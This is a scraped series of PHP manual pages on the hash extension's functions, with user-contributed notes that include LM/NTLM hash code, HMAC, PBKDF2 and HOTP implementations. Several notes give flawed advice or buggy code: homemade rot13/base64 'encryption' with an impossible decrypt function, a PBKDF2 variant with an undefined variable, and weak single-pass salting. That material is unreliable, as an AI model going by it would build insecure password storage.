    $key[] = $tmp[6] << 1;

    $is = mcrypt_get_iv_size(MCRYPT_DES, MCRYPT_MODE_ECB);
    $iv = mcrypt_create_iv($is, MCRYPT_RAND);
    $key0 = "";

    foreach ($key as $k)
        $key0 .= chr($k);
    $crypt = mcrypt_encrypt(MCRYPT_DES, $key0, "KGS!@#$%", MCRYPT_MODE_ECB, $iv);

    return bin2hex($crypt);
}
?>

Some optimization?
CraquePipe 24-Mar-2008 04:42
For thoes of you who're looking to generate an NTLM hash (not an LM hash), I found out it's quite simple..

It uses the basic MD4 function, but the password needs to be in Unicode Little Endian encode first (this canbe achieved by the iconv function).

This can be done easily by using the following code:

<?php
function NTLMHash($Input) {
  // Convert the password from UTF8 to UTF16 (little endian)
  $Input=iconv('UTF-8','UTF-16LE',$Input);

  // Encrypt it with the MD4 hash
  $MD4Hash=bin2hex(mhash(MHASH_MD4,$Input));

  // You could use this instead, but mhash works on PHP 4 and 5 or above
  // The hash function only works on 5 or above
  //$MD4Hash=hash('md4',$Input);

  // Make it uppercase, not necessary, but it's common to do so with NTLM hashes
  $NTLMHash=strtoupper($MD4Hash);

  // Return the result
  return($NTLMHash);
}
?>

To produce an LM hash requires a fully-written script containing the algorithm used to make it.

Enjoy,
CraquePipe.
martin 27-Sep-2007 12:28
I tried to use Hash() function on my PHP 5.2.3 (FreeBSD 6.2) but there was no Hash() function. (it should be available by default from version 5.1.2)

Hash() function was working after installing "security/pecl-hash" port.
nb_removethis_ at wtal dot de 03-Sep-2007 05:24
Some tests with mhash and hash revealed on my machine that hash needs more than twice as long to create a hash than mhash. The average of one million cylces of Haval128, Haval256, Gost, CRC32, MD5, SHA1 and SHA256 was 450ms for mhash and 1150ms for hash.
Predefined Constants
hash_algos
Hash


Return a list of registered hashing algorithms

Hash Functions
hash_copy
Hash Functions
PHP Manual

hash_algos

(PHP 5 >= 5.1.2, PECL hash >= 1.1)

hash_algos — Return a list of registered hashing algorithms

Description

array hash_algos ( void )

Return Values

Returns a numerically indexed array containing the list of supported hashing algorithms.

Changelog

Version | Description
5.4.0 | Support for joaat, fnv132 and fnv164 was added. Support for Salsa10 and Salsa20 was removed.
5.3.0 | Support for md2, ripemd256, ripemd320, salsa10, salsa20, snefru256 and sha224 was added

Examples

Example #1 hash_algos() example

As of PHP 5.3.0, hash_algos() will return the following list of algorithm names.

<?php
print_r(hash_algos());
?>

The above example will output something similar to:

Array
(
    [0] => md2
    [1] => md4
    [2] => md5
    [3] => sha1
    [4] => sha224
    [5] => sha256
    [6] => sha384
    [7] => sha512
    [8] => ripemd128
    [9] => ripemd160
    [10] => ripemd256
    [11] => ripemd320
    [12] => whirlpool
    [13] => tiger128,3
    [14] => tiger160,3
    [15] => tiger192,3
    [16] => tiger128,4
    [17] => tiger160,4
    [18] => tiger192,4
    [19] => snefru
    [20] => snefru256
    [21] => gost
    [22] => adler32
    [23] => crc32
    [24] => crc32b
    [25] => salsa10
    [26] => salsa20
    [27] => haval128,3
    [28] => haval160,3
    [29] => haval192,3
    [30] => haval224,3
    [31] => haval256,3
    [32] => haval128,4
    [33] => haval160,4
    [34] => haval192,4
    [35] => haval224,4
    [36] => haval256,4
    [37] => haval128,5
    [38] => haval160,5
    [39] => haval192,5
    [40] => haval224,5
    [41] => haval256,5
)

User Contributed Notes

alvaro at demogracia dot com 16-Nov-2010 05:02
These algorithms can be used to generate a session ID. Just pick a string value from the list and feed the session.hash_function directive with it. E.g.:

<?php
ini_set('session.hash_function', 'whirlpool');
?>
v1d4l0k4 at gmail.com 07-Nov-2009 07:58
As of PHP 5.3, you have also: md2, ripemd256, ripemd320, salsa10, salsa20, snefru256 and sha224. ;)

Regards,
Paulo Ricardo
elinor dot hurst at gmail dot REMOVEME dot com 30-Jun-2008 01:52
static function crypt_pass($pass, $salt=NULL)
    {
        $salt_len=7;
        $algo='sha256';

        if (!$salt||strlen($salt)<$salt_len)
        {
            $salt=uniqid(rand(), TRUE);     // get unique string (length==23)
        }
        $salt=substr($salt, 0, $salt_len);

        if (function_exists('hash') && in_array($algo, hash_algos()))
        {
            $hashed=hash($algo, $salt.$pass);
        }
        else
        {
            $hashed=sha1($salt.$pass);
        }
        return $salt.$hashed;
    }
Hash Functions
hash_copy
Hash Functions


Copy hashing context

hash_algos
hash_file
Hash Functions
PHP Manual

hash_copy

(PHP 5 >= 5.3.0)

hash_copy — Copy hashing context

Description

resource hash_copy ( resource $context )

Parameters

context

Hashing context returned by hash_init().

Return Values

Returns a copy of Hashing Context resource.

Examples

Example #1 hash_copy() example

<?php
$context = hash_init("md5");
hash_update($context, "data");

/* copy context to be able to continue using it */
$copy_context = hash_copy($context);

echo hash_final($context), "\n";

hash_update($copy_context, "data");
echo hash_final($copy_context), "\n";
?>

The above example will output:

8d777f385d3dfec8815d20f7496026dc
511ae0b1c13f95e5f08f1a0dd3da3d93

User Contributed Notes

There are no user contributed notes for this page.
hash_algos
hash_file
Hash Functions


Generate a hash value using the contents of a given file

hash_copy
hash_final
Hash Functions
PHP Manual

hash_file

(PHP 5 >= 5.1.2, PECL hash >= 1.1)

hash_file — Generate a hash value using the contents of a given file

Description

string hash_file ( string $algo , string $filename [, bool $raw_output = false ] )

Parameters

algo

Name of selected hashing algorithm (i.e. "md5", "sha256", "haval160,4", etc..)

filename

URL describing location of file to be hashed; Supports fopen wrappers.

raw_output

When set to TRUE, outputs raw binary data. FALSE outputs lowercase hexits.

Return Values

Returns a string containing the calculated message digest as lowercase hexits unless raw_output is set to true in which case the raw binary representation of the message digest is returned.

Examples

Example #1 Using hash_file()

<?php
/* Create a file to calculate hash of */
file_put_contents('example.txt', 'The quick brown fox jumped over the lazy dog.');

echo hash_file('md5', 'example.txt');
?>

The above example will output:

5c6ffbdd40d9556b73a21e63c3e0e904

See Also

  • hash() - Generate a hash value (message digest)
  • hash_hmac_file() - Generate a keyed hash value using the HMAC method and the contents of a given file
  • hash_update_file() - Pump data into an active hashing context from a file
  • md5_file() - Calculates the md5 hash of a given file
  • sha1_file() - Calculate the sha1 hash of a file

User Contributed Notes

apm at domain itsmee.co.uk 10-Jul-2011 04:56
I have verified that the output of the "crc32" is the ITU I.363.5 algorithm (a.k.a. AAL5 CRC - popularised by BZIP2 but also used in ATM transmissions - the algorithm is the same as that in POSIX 1003.2-1992 in Cksum but that stuffs the size into the CRC at the end for extra measure).  However, the output is expressed in reverse order to many CRC programs.  Using the "standard" crctest.txt (numbers 1 to 9 in sequence - google it, it's not hard to find), php will output 181989fc - many other (Intel little endian) programs would output this as fc891918, hence the confusion (that I have had, at least).

The crc32b is the 32-bit Frame Check Sequence of ITU V.42 (used in Ethernet and popularised by PKZip).  The output from this CRC is popularised in Intel little endian format and would produce cbf43926 on the same file.
Anonymous 26-Apr-2011 09:55
Please take note that hash-file will throw error on files >=2GB.
chernyshevsky at hotmail dot com 22-Sep-2010 04:01
If you want to use hash_file() to get the CRC32 value of a file, use the following to unpack the hex string returned by the function to an integer (similar to crc32()):

$hash = hash_file('crc32b', $filepath);
$array = unpack('N', pack('H*', $hash));
$crc32 = $array[1];
gabri dot ns at gmail dot com 15-Sep-2010 08:58
i've browsing about crc32 recently
from http://en.wikipedia.org/wiki/Cyclic_redundancy_check
#Commonly_used_and_standardized_CRCs
it is said that ethernet and png using the same polynomial, 0x04C11DB7

so, it still unclear (for me) wich standard does 'crc32' uses
IMO, 'crc32b' is the most common used in software
PKzip us this, 7zip and SVF file use this too

to check wether an implementation is using 'crc32b',
try to hash string or file containing string:
"123456789" (without quote of course :D )
it should return CBF43926
Keisial at gmail dot com 11-Sep-2008 11:46
The 'octets reversed' you are seeing is the bug 45028 which has been fixed. http://bugs.php.net/bug.php?id=45028

The difference between crc32 and crc32b is explained on mhash man page. crc32 is the one used on ethernet, while crc32b is the one used on zip, png... They differ on the table used.
allaryin at gmail dot com 23-Jul-2008 03:16
For those who are wondering, there appears to be no fundamental difference between hash_file('md5')/hash_file('sha1') and md5_file()/sha1_file(). They produce identical output and have comparable performance.

There is, however, a difference between hash_file('crc32') and something silly like crc32(file_get_contents()).

crc32(file_get_contents())'s results are most similar to those of hash_file('crc32b'), just with the octets reversed:

<?php
$fname = "something.png";

$hash = hash_file( 'crc32', $fname );
echo "crc32  = $hash\n";

$hash = hash_file( 'crc32b', $fname );
echo "crc32b = $hash\n";

$hash = sprintf("%x",crc32(file_get_contents($fname)));
echo "manual = $hash\n";
?>

crc32  = f41d7f4e
crc32b = 7dafbba4
manual = a4bbaf7d
hash_copy
hash_final
Hash Functions


Finalize an incremental hash and return resulting digest

hash_file
hash_hmac_file
Hash Functions
PHP Manual

hash_final

(PHP 5 >= 5.1.2, PECL hash >= 1.1)

hash_final — Finalize an incremental hash and return resulting digest

Description

string hash_final ( resource $context [, bool $raw_output = false ] )

Parameters

context

Hashing context returned by hash_init().

raw_output

When set to TRUE, outputs raw binary data. FALSE outputs lowercase hexits.

Return Values

Returns a string containing the calculated message digest as lowercase hexits unless raw_output is set to true in which case the raw binary representation of the message digest is returned.

Examples

Example #1 hash_final() example

<?php
$ctx = hash_init('sha1');
hash_update($ctx, 'The quick brown fox jumped over the lazy dog.');
echo hash_final($ctx);
?>

The above example will output:

c0854fb9fb03c41cce3802cb0d220529e6eef94e

See Also

  • hash_init() - Initialize an incremental hashing context
  • hash_update() - Pump data into an active hashing context
  • hash_update_stream() - Pump data into an active hashing context from an open stream
  • hash_update_file() - Pump data into an active hashing context from a file

User Contributed Notes

There are no user contributed notes for this page.
hash_file
hash_hmac_file
Hash Functions


Generate a keyed hash value using the HMAC method and the contents of a given file

hash_final
hash_hmac
Hash Functions
PHP Manual

hash_hmac_file

(PHP 5 >= 5.1.2, PECL hash >= 1.1)

hash_hmac_file — Generate a keyed hash value using the HMAC method and the contents of a given file

Description

string hash_hmac_file ( string $algo , string $filename , string $key [, bool $raw_output = false ] )

Parameters

algo

Name of selected hashing algorithm (i.e. "md5", "sha256", "haval160,4", etc..) See hash_algos() for a list of supported algorithms.

filename

URL describing location of file to be hashed; Supports fopen wrappers.

key

Shared secret key used for generating the HMAC variant of the message digest.

raw_output

When set to TRUE, outputs raw binary data. FALSE outputs lowercase hexits.

Return Values

Returns a string containing the calculated message digest as lowercase hexits unless raw_output is set to true in which case the raw binary representation of the message digest is returned.

Examples

Example #1 hash_hmac_file() example

<?php
/* Create a file to calculate hash of */
file_put_contents('example.txt', 'The quick brown fox jumped over the lazy dog.');

echo hash_hmac_file('md5', 'example.txt', 'secret');
?>

The above example will output:

7eb2b5c37443418fc77c136dd20e859c

See Also

  • hash_algos() - Return a list of registered hashing algorithms
  • hash_hmac() - Generate a keyed hash value using the HMAC method
  • hash_file() - Generate a hash value using the contents of a given file

User Contributed Notes

There are no user contributed notes for this page.
hash_final
hash_hmac
Hash Functions


Generate a keyed hash value using the HMAC method

hash_hmac_file
hash_init
Hash Functions
PHP Manual

hash_hmac

(PHP 5 >= 5.1.2, PECL hash >= 1.1)

hash_hmac — Generate a keyed hash value using the HMAC method

Description

string hash_hmac ( string $algo , string $data , string $key [, bool $raw_output = false ] )

Parameters

algo

Name of selected hashing algorithm (i.e. "md5", "sha256", "haval160,4", etc..) See hash_algos() for a list of supported algorithms.

data

Message to be hashed.

key

Shared secret key used for generating the HMAC variant of the message digest.

raw_output

When set to TRUE, outputs raw binary data. FALSE outputs lowercase hexits.

Return Values

Returns a string containing the calculated message digest as lowercase hexits unless raw_output is set to true in which case the raw binary representation of the message digest is returned.

Examples

Example #1 hash_hmac() example

<?php
echo hash_hmac('ripemd160', 'The quick brown fox jumped over the lazy dog.', 'secret');
?>

The above example will output:

b8e7ae12510bdfb1812e463a7f086122cf37e4f7

See Also

  • hash() - Generate a hash value (message digest)
  • hash_algos() - Return a list of registered hashing algorithms
  • hash_init() - Initialize an incremental hashing context
  • hash_hmac_file() - Generate a keyed hash value using the HMAC method and the contents of a given file

User Contributed Notes

josefkoh at hotmail dot com 27-Jul-2011 10:24
Simple implementation of hmac sha1

<?php

function hmac_sha1($key, $data)
{
    // Adjust key to exactly 64 bytes
    if (strlen($key) > 64) {
        $key = str_pad(sha1($key, true), 64, chr(0));
    }
    if (strlen($key) < 64) {
        $key = str_pad($key, 64, chr(0));
    }

    // Outter and Inner pad
    $opad = str_repeat(chr(0x5C), 64);
    $ipad = str_repeat(chr(0x36), 64);

    // Xor key with opad & ipad
    for ($i = 0; $i < strlen($key); $i++) {
        $opad[$i] = $opad[$i] ^ $key[$i];
        $ipad[$i] = $ipad[$i] ^ $key[$i];
    }

    return sha1($opad.sha1($ipad.$data, true));
}
Peter Terence Roux 23-Dec-2010 03:44
The Implementation of the PBKDF2 key derivation function as described in RFC 2898 can be used to not only get the hashed KEY but also a specific IV.

To use, one would use it as follows:-

<?php
  $p = str_hash_pbkdf2($pw, $salt, 10, 32, 'sha1');
  $p = base64_encode($p);

  $iv = str_hash_pbkdf2($pw, $salt, 10, 16, 'sha1', 32);
  $iv = base64_encode($iv);
?>

The function should be:-

<?php
  // PBKDF2 Implementation (described in RFC 2898)
  //
  // @param   string  p   password
  // @param   string  s   salt
  // @param   int     c   iteration count (use 1000 or higher)
  // @param   int     kl  derived key length
  // @param   string  a   hash algorithm
  // @param   int     st  start position of result
  //
  // @return  string  derived key
  function str_hash_pbkdf2($p, $s, $c, $kl, $a = 'sha256', $st=0)
  {
    $kb = $start+$kl;                        // Key blocks to compute
    $dk = '';                                    // Derived key

    // Create key
    for ($block=1; $block<=$kb; $block++)
    {
      // Initial hash for this block
      $ib = $h = hash_hmac($a, $s . pack('N', $block), $p, true);

      // Perform block iterations
      for ($i=1; $i<$c; $i++)
      {
        // XOR each iterate
        $ib ^= ($h = hash_hmac($a, $h, $p, true));
      }

      $dk .= $ib;                                // Append iterated block
    }

    // Return derived key of correct length
    return substr($dk, $start, $kl);
  }
?>
Siann Beck 10-Oct-2010 09:48
For signing an Amazon AWS query, base64-encode the binary value:

<?php
  $Sig = base64_encode(hash_hmac('sha256', $Request, $AmazonSecretKey, true));
?>
KC Cloyd 09-Sep-2009 11:16
Sometimes a hosting provider doesn't provide access to the Hash extension. Here is a clone of the hash_hmac function you can use in the event you need an HMAC generator and Hash is not available. It's only usable with MD5 and SHA1 encryption algorithms, but its output is identical to the official hash_hmac function (so far at least).

<?php

function custom_hmac($algo, $data, $key, $raw_output = false)
{
    $algo = strtolower($algo);
    $pack = 'H'.strlen($algo('test'));
    $size = 64;
    $opad = str_repeat(chr(0x5C), $size);
    $ipad = str_repeat(chr(0x36), $size);

    if (strlen($key) > $size) {
        $key = str_pad(pack($pack, $algo($key)), $size, chr(0x00));
    } else {
        $key = str_pad($key, $size, chr(0x00));
    }

    for ($i = 0; $i < strlen($key) - 1; $i++) {
        $opad[$i] = $opad[$i] ^ $key[$i];
        $ipad[$i] = $ipad[$i] ^ $key[$i];
    }

    $output = $algo($opad.pack($pack, $algo($ipad.$data)));

    return ($raw_output) ? pack($pack, $output) : $output;
}

?>

Example Use:

<?php

custom_hmac('sha1', 'Hello, world!', 'secret', true);

?>
Henry Merriam 03-Aug-2009 10:36
<?php

/**
 * Implementation of the PBKDF2 key derivation function as described in RFC 2898.
 *
 * PBKDF2 was published as part of PKCS #5 v2.0 by RSA Security. The standard is
 * also documented in IETF RFC 2898.
 *
 * The first four function arguments are as the standard describes:
 *
 *     PBKDF2(P, S, c, dkLen)
 *
 * The fifth function argument specifies the hash function to be used. This should
 * be provided in the same format as used for the hash() function. The default
 * hash algorithm is SHA-1, but this is not recommended for new applications.
 *
 * The function returns false if dk_len is too large. Otherwise it returns the
 * derived key as a binary string.
 *
 * @author Henry Merriam <php@henrymerriam.com>
 *
 * @param    string    p        password
 * @param    string    s        salt
 * @param    int        c        iteration count
 * @param    int        dk_len    derived key length (octets)
 * @param    string    algo    hash algorithm
 *
 * @return    string            derived key
 */
function pbkdf2($p, $s, $c, $dk_len, $algo = 'sha1') {

    // experimentally determine h_len for the algorithm in question
    static $lengths;
    if (!isset($lengths[$algo])) { $lengths[$algo] = strlen(hash($algo, null, true)); }
    $h_len = $lengths[$algo];

    if ($dk_len > (pow(2, 32) - 1) * $h_len) {
        return false; // derived key is too long
    } else {
        $l = ceil($dk_len / $h_len); // number of derived key blocks to compute
        $t = null;
        for ($i = 1; $i <= $l; $i++) {
            $f = $u = hash_hmac($algo, $s . pack('N', $i), $p, true); // first iterate
            for ($j = 1; $j < $c; $j++) {
                $f ^= ($u = hash_hmac($algo, $u, $p, true)); // xor each iterate
            }
            $t .= $f; // concatenate blocks of the derived key
        }
        return substr($t, 0, $dk_len); // return the derived key of correct length
    }

}

?>
brent at thebrent dot net 21-May-2009 08:17
The hotp algorithms above work with counter values less than 256, but since the counter can be larger, it's necessary to iterate through all the bytes of the counter:

<?php
function oath_hotp ($key, $counter)
{
    // Counter
    //the counter value can be more than one byte long, so we need to go multiple times
    $cur_counter = array(0,0,0,0,0,0,0,0);
    for($i=7;$i>=0;$i--)
    {
        $cur_counter[$i] = pack ('C*', $counter);
        $counter = $counter >> 8;
    }
    $bin_counter = implode($cur_counter);
    // Pad to 8 chars
    if (strlen ($bin_counter) < 8)
    {
        $bin_counter = str_repeat (chr(0), 8 - strlen ($bin_counter)) . $bin_counter;
    }

    // HMAC
    $hash = hash_hmac ('sha1', $bin_counter, $key);
    return $hash;
}

function oath_truncate($hash, $length = 6)
{
    // Convert to dec
    foreach(str_split($hash,2) as $hex)
    {
        $hmac_result[]=hexdec($hex);
    }

    // Find offset
    $offset = $hmac_result[19] & 0xf;

    // Algorithm from RFC
    return
    (
        (($hmac_result[$offset+0] & 0x7f) << 24 ) |
        (($hmac_result[$offset+1] & 0xff) << 16 ) |
        (($hmac_result[$offset+2] & 0xff) << 8 ) |
        ($hmac_result[$offset+3] & 0xff)
    ) % pow(10,$length);
}
print "<pre>";
print "Compare results with:";
print " http://tools.ietf.org/html/draft-mraihi-oath-hmac-otp-04\n";
print "Count\tHash\t\t\t\t\t\tPin\n";
for($i=0;$i<=1024;$i=$i+128)
{
   print $i."\t".($a=oath_hotp("12345678901234567890",$i));
   print "\t".oath_truncate($a)."\n";
}
?>
torben dot egmose at gmail dot com 22-Mar-2009 11:40
HOTP Algorithm that works according to the RCF http://tools.ietf.org/html/draft-mraihi-oath-hmac-otp-04
The test cases from the RCF document the ASCII string as "123456787901234567890".
But the hex decoded to a string is "12345678901234567890".
Secret="12345678901234567890";
Count:
0 755224
1 287082
<?php
function oath_hotp($key,$counter) {

   // Convert to padded binary string
   $data = pack ('C*', $counter);
   $data = str_pad($data,8,chr(0),STR_PAD_LEFT);

   // HMAC
   return hash_hmac('sha1',$data,$key);
}

function oath_truncate($hash, $length = 6) {

   // Convert to dec
   foreach(str_split($hash,2) as $hex) {
      $hmac_result[]=hexdec($hex);
   }

   // Find offset
   $offset = $hmac_result[19] & 0xf;

   // Algorithm from RFC
   return (
         (($hmac_result[$offset+0] & 0x7f) << 24 ) |
         (($hmac_result[$offset+1] & 0xff) << 16 ) |
         (($hmac_result[$offset+2] & 0xff) << 8 ) |
         ($hmac_result[$offset+3] & 0xff)
         ) % pow(10,$length);
}

print "<pre>";
print "Compare results with:"
print " http://tools.ietf.org/html/draft-mraihi-oath-hmac-otp-04\n";
print "Count\tHash\t\t\t\t\t\tPin\n";
for($i=0;$i<10;$i++)
   print $i."\t".($a=oath_hotp("12345678901234567890",$i))
   print "\t".oath_truncate($a)."\n";
Carlos Averett(caverett*@*corecodec,net) 03-Jul-2008 03:54
Generating OATH-compliant OTP (one time passwords) results in PHP:

<?php
$otp = oath_truncate (oath_hotp ($key, $counter), $length);
function oath_hotp ($key, $counter) {
        // Counter
        $bin_counter = pack ('C*', $counter);

        // Pad to 8 chars
        if (strlen ($bin_counter) < 8) {
                $bin_counter = str_repeat (chr(0), 8 - strlen ($bin_counter)) . $bin_counter;
        }

        // HMAC
        $hash = hash_hmac ('sha1', $bin_counter, $key);
        return $hash;
}

function oath_truncate ($hash, $length = 6) {
        // The last byte is used as an offset
        $offset = hexdec (substr ($hash, 38)) & 0xf;

        // Extract the relevant part, and clear the first bit
        $hex_truncated = substr ($hash, $offset * 2, 8);
        $bin_truncated = decbin (hexdec ($hex_truncated));
        $bin_truncated[0] = '0';
        $dec_truncated = bindec ($bin_truncated);

        return substr ($dec_truncated, 0 - $length);
}
?>
hash_hmac_file
hash_init
Hash Functions


Initialize an incremental hashing context

hash_hmac
hash_update_file
Hash Functions
PHP Manual

hash_init

(PHP 5 >= 5.1.2, PECL hash >= 1.1)

hash_init — Initialize an incremental hashing context

Description

resource hash_init ( string $algo [, int $options = 0 [, string $key = NULL ]] )

Parameters

algo

Name of selected hashing algorithm (i.e. "md5", "sha256", "haval160,4", etc..)

options

Optional settings for hash generation, currently supports only one option: HASH_HMAC. When specified, the key must be specified.

key

When HASH_HMAC is specified for options, a shared secret key to be used with the HMAC hashing method must be supplied in this parameter.

Return Values

Returns a Hashing Context resource for use with hash_update(), hash_update_stream(), hash_update_file(), and hash_final().

Examples

Example #1 Incremental hashing example

<?php
$ctx = hash_init('md5');
hash_update($ctx, 'The quick brown fox ');
hash_update($ctx, 'jumped over the lazy dog.');
echo hash_final($ctx);
?>

The above example will output:

5c6ffbdd40d9556b73a21e63c3e0e904

See Also

  • hash() - Generate a hash value (message digest)
  • hash_file() - Generate a hash value using the contents of a given file
  • hash_hmac() - Generate a keyed hash value using the HMAC method
  • hash_hmac_file() - Generate a keyed hash value using the HMAC method and the contents of a given file

User Contributed Notes

There are no user contributed notes for this page.
hash_hmac
hash_update_file
Hash Functions


Pump data into an active hashing context from a file

hash_init
hash_update_stream
Hash Functions
PHP Manual

hash_update_file

(PHP 5 >= 5.1.2, PECL hash >= 1.1)

hash_update_file — Pump data into an active hashing context from a file

Description

bool hash_update_file ( resource $context , string $filename [, resource $context = NULL ] )

Parameters

context

Hashing context returned by hash_init().

filename

URL describing location of file to be hashed; Supports fopen wrappers.

context

Stream context as returned by stream_context_create().

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • hash_init() - Initialize an incremental hashing context
  • hash_update() - Pump data into an active hashing context
  • hash_update_stream() - Pump data into an active hashing context from an open stream
  • hash_final() - Finalize an incremental hash and return resulting digest
  • hash() - Generate a hash value (message digest)
  • hash_file() - Generate a hash value using the contents of a given file

User Contributed Notes

There are no user contributed notes for this page.
hash_init
hash_update_stream
Hash Functions


Pump data into an active hashing context from an open stream

hash_update_file
hash_update
Hash Functions
PHP Manual

hash_update_stream

(PHP 5 >= 5.1.2, PECL hash >= 1.1)

hash_update_stream — Pump data into an active hashing context from an open stream

Description

int hash_update_stream ( resource $context , resource $handle [, int $length = -1 ] )

Parameters

context

Hashing context returned by hash_init().

handle

Open file handle as returned by any stream creation function.

length

Maximum number of characters to copy from handle into the hashing context.

Return Values

Actual number of bytes added to the hashing context from handle.

Examples

Example #1 hash_update_stream() example

<?php
$fp = tmpfile();
fwrite($fp, 'The quick brown fox jumped over the lazy dog.');
rewind($fp);

$ctx = hash_init('md5');
hash_update_stream($ctx, $fp);
echo hash_final($ctx);
?>

The above example will output:

5c6ffbdd40d9556b73a21e63c3e0e904

See Also

  • hash_init() - Initialize an incremental hashing context
  • hash_update() - Pump data into an active hashing context
  • hash_final() - Finalize an incremental hash and return resulting digest
  • hash() - Generate a hash value (message digest)
  • hash_file() - Generate a hash value using the contents of a given file

User Contributed Notes

There are no user contributed notes for this page.
hash_update_file
hash_update
Hash Functions


Pump data into an active hashing context

hash_update_stream
hash
Hash Functions
PHP Manual

hash_update

(PHP 5 >= 5.1.2, PECL hash >= 1.1)

hash_update — Pump data into an active hashing context

Description

bool hash_update ( resource $context , string $data )

Parameters

context

Hashing context returned by hash_init().

data

Message to be included in the hash digest.

Return Values

Returns TRUE.

See Also

  • hash_init() - Initialize an incremental hashing context
  • hash_update_file() - Pump data into an active hashing context from a file
  • hash_update_stream() - Pump data into an active hashing context from an open stream
  • hash_final() - Finalize an incremental hash and return resulting digest

User Contributed Notes

Dainichi 24-Jul-2006 06:19
A simple example on incremental file hashing:

$fp = fopen($file, "r");
$ctx = hash_init('sha256');
while (!feof($fp)) {
    $buffer = fgets($fp, 65536);
    hash_update($ctx, $buffer);
}
$hash = hash_final($ctx, true);
fclose($fp);

While incremental hashing is quite slow, it's the easiest way to hash
- parts of large files: I.e., a 700MB avi video uses first x bytes to store metadata, so in order to hash the avi's data only, you have to fseek to data start and use incremental hashing
- streaming data if php just proxies the data
- whenever it's inadequate or impossible to store the data being hashed into memory (i.e. because of their size) or on disc.
hash_update_stream
hash
Hash Functions


Generate a hash value (message digest)

hash_update
Mcrypt
Hash Functions
PHP Manual

hash

(PHP 5 >= 5.1.2, PECL hash >= 1.1)

hash — Generate a hash value (message digest)

Description

string hash ( string $algo , string $data [, bool $raw_output = false ] )

Parameters

algo

Name of selected hashing algorithm (i.e. "md5", "sha256", "haval160,4", etc..)

data

Message to be hashed.

raw_output

When set to TRUE, outputs raw binary data. FALSE outputs lowercase hexits.

Return Values

Returns a string containing the calculated message digest as lowercase hexits unless raw_output is set to true in which case the raw binary representation of the message digest is returned.

Examples

Example #1 A hash() example

<?php
echo hash('ripemd160', 'The quick brown fox jumped over the lazy dog.');
?>

The above example will output:

ec457d0a974c48d5685a7efa03d137dc8bbde7e3

See Also

  • hash_file() - Generate a hash value using the contents of a given file
  • hash_hmac() - Generate a keyed hash value using the HMAC method
  • hash_init() - Initialize an incremental hashing context
  • md5() - Calculate the md5 hash of a string
  • sha1() - Calculate the sha1 hash of a string

User Contributed Notes

nmmm at nmmm dot nu 20-Jul-2011 01:50
I was interested how "long" each hash is, so I did:

<?php
$data = "hello";

foreach (hash_algos() as $v) {
        $r = hash($v, $data, false);
        printf("%-12s %3d %s\n", $v, strlen($r), $r);
}
?>

which produce (long hashes are cropped)

md2           32 a9046c73e00331af68917d3804f70655
md4           32 866437cb7a794bce2b727acc0362ee27
md5           32 5d41402abc4b2a76b9719d911017c592
sha1          40 aaf4c61ddcc5e8a2dabede0f3b482cd9aea9434d
sha256        64 2cf24dba5fb0a30e26e83b2ac5b9e29e1b161e5c1fa7425e730
sha384        96 59e1748777448c69de6b800d7a33bbfb9ff1b463e44354c3553
sha512       128 9b71d224bd62f3785d96d46ad3ea3d73319bfbc2890caadae2d
ripemd128     32 789d569f08ed7055e94b4289a4195012
ripemd160     40 108f07b8382412612c048d07d13f814118445acd
ripemd256     64 cc1d2594aece0a064b7aed75a57283d9490fd5705ed3d66bf9a
ripemd320     80 eb0cf45114c56a8421fbcb33430fa22e0cd607560a88bbe14ce
whirlpool    128 0a25f55d7308eca6b9567a7ed3bd1b46327f0f1ffdc804dd8bb
tiger128,3    32 a78862336f7ffd2c8a3874f89b1b74f2
tiger160,3    40 a78862336f7ffd2c8a3874f89b1b74f2f27bdbca
tiger192,3    48 a78862336f7ffd2c8a3874f89b1b74f2f27bdbca39660254
tiger128,4    32 1c2a939f230ee5e828f5d0eae5947135
tiger160,4    40 1c2a939f230ee5e828f5d0eae5947135741cd0ae
tiger192,4    48 1c2a939f230ee5e828f5d0eae5947135741cd0aefeeb2adc
snefru        64 7c5f22b1a92d9470efea37ec6ed00b2357a4ce3c41aa6e28e3b
gost          64 a7eb5d08ddf2363f1ea0317a803fcef81d33863c8b2f9f6d7d1
adler32        8 062c0215
crc32          8 3d653119
crc32b         8 3610a686
haval128,3    32 85c3e4fac0ba4d85519978fdc3d1d9be
haval160,3    40 0e53b29ad41cea507a343cdd8b62106864f6b3fe
haval192,3    48 bfaf81218bbb8ee51b600f5088c4b8601558ff56e2de1c4f
haval224,3    56 92d0e3354be5d525616f217660e0f860b5d472a9cb99d6766be
haval256,3    64 26718e4fb05595cb8703a672a8ae91eea071cac5e7426173d4c
haval128,4    32 fe10754e0b31d69d4ece9c7a46e044e5
haval160,4    40 b9afd44b015f8afce44e4e02d8b908ed857afbd1
haval192,4    48 ae73833a09e84691d0214f360ee5027396f12599e3618118
haval224,4    56 e1ad67dc7a5901496b15dab92c2715de4b120af2baf661ecd92
haval256,4    64 2d39577df3a6a63168826b2a10f07a65a676f5776a0772e0a87
haval128,5    32 d20e920d5be9d9d34855accb501d1987
haval160,5    40 dac5e2024bfea142e53d1422b90c9ee2c8187cc6
haval192,5    48 bbb99b1e989ec3174019b20792fd92dd67175c2ff6ce5965
haval224,5    56 aa6551d75e33a9c5cd4141e9a068b1fc7b6d847f85c3ab16295
haval256,5    64 348298791817d5088a6de6c1b6364756d404a50bd64e645035f
tyler11440_rs2 at hotmail dot com 06-Jul-2011 06:46
Another method. Not something you would want to use for utmost security, however it gets the job done.

<?php
function THashAndCrypt($input)
{
return str_rot13(base64_encode(hash('sha512', $input)));
}

function TdeCrypt($input)
{
return str_rot13(base64_decode($input));
}
?>

This function takes your password, uses the rot13 method to jumble the text. Then it encodes it into a long jumbled base64 string. Finally, it is encrypted with SHA512.

Not only does this use a secure SHA method, but it makes it generally more difficult to even determine which hash method was used. BY NO MEANS am i a professional PHP coder, but throughout my career i have done things like this to make things harder to decrypt in the event that they are stolen/compromised. Be aware that, simply by posting this on the net, i have made it less secure. When you want security, ALWAYS MAKE YOUR OWN FUNCTIONS.

From my understanding, you should always use salt for added security. Salt can be added to these functions with little effort. Using salt in conjunction with several hundred unique hashing/encoding passes can make your passwords nearly uncrackable. Rather than taking an hour to find, the hacker is forced to either give up or wait an extra 2 years to successfully crack your encoded strings.
shimyshack at gmail dot com 21-Jan-2011 10:13
This is a small function I created to generate a unique ID using sha512 encryption.

If $id is NULL, the generated string will be random. If not, the same hash will always be presented, provided the $salt is the same.

$length is the length of the generated string. If NULL, the default 128 characters is used.

<?php
function gen_unique_id($id = NULL, $salt = NULL, $length = NULL){
